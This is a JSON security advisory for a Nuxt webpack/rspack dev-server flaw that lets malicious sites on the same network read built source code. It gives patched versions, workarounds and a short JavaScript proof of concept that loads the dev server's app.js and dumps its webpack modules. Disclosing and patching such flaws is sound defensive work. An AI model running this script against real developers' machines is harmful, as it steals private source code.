Vulnerabilities in pkg:npm/@nuxt/webpack-builder

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6m52-m754-pw2g",
  "modified" : "2026-07-08T17:35:04Z",
  "published" : "2026-05-19T15:51:14Z",
  "aliases" : [ "CVE-2026-45670" ],
  "summary" : "Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)",
  "details" : "### Summary\nThis is an incomplete fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99). Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. `nuxt dev --host`) and the developer opens a malicious site on the same network.\n\n### Details\nThe fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because [these headers are sent by the browsers only for potentially trustworthy origins](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header:~:text=Site%20header%20for%20a%20request%20r%3A-,Assert%3A%20r%E2%80%99s%20url%20is%20a%20potentially%20trustworthy%20URL.,-Let%20header%20be%20a%20Structured%20Field%20whose), the check is able to bypass for non-potentially trustworthy origins.\n\nSince the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using `--host` is affected.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to\nscript.addEventListener('load', () => {\n  const key = Object.keys(window).find(k => k.startsWith(\"webpackChunk\"))\n  for (const page in window[key]) {\n    const moduleList = window[key][page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n(This script is the similar with [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) except for the `script.src` and the global variable name)\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using `--host`.\n\nThis vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n\n### Patches\nFixed in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35051](https://github.com/nuxt/nuxt/pull/35051). The dev-middleware same-origin check now falls back to comparing the request's `Origin` / `Referer` host against `Host` when `Sec-Fetch-*` headers are absent, closing the non-trustworthy-origin bypass.\n\nThe fix only ships for the `@nuxt/webpack-builder` and `@nuxt/rspack-builder` packages. The default Vite builder was not affected.\n\n### Workarounds\nIf you cannot upgrade immediately:\n\n- Don't use `nuxt dev --host`. Bind the dev server to `localhost` (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.\n- Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n- Switch to the Vite builder for development.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/rspack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.15.4"
      }, {
        "fixed" : "3.21.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.21.5"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/rspack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-alpha.1"
      }, {
        "fixed" : "4.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.4.5"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/webpack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.15.4"
      }, {
        "fixed" : "3.21.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.21.5"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/webpack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-alpha.1"
      }, {
        "fixed" : "4.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45670"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuxt/nuxt/pull/35051"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuxt/nuxt"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-749" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T15:51:14Z",
    "nvd_published_at" : "2026-06-12T14:16:31Z"
  }
}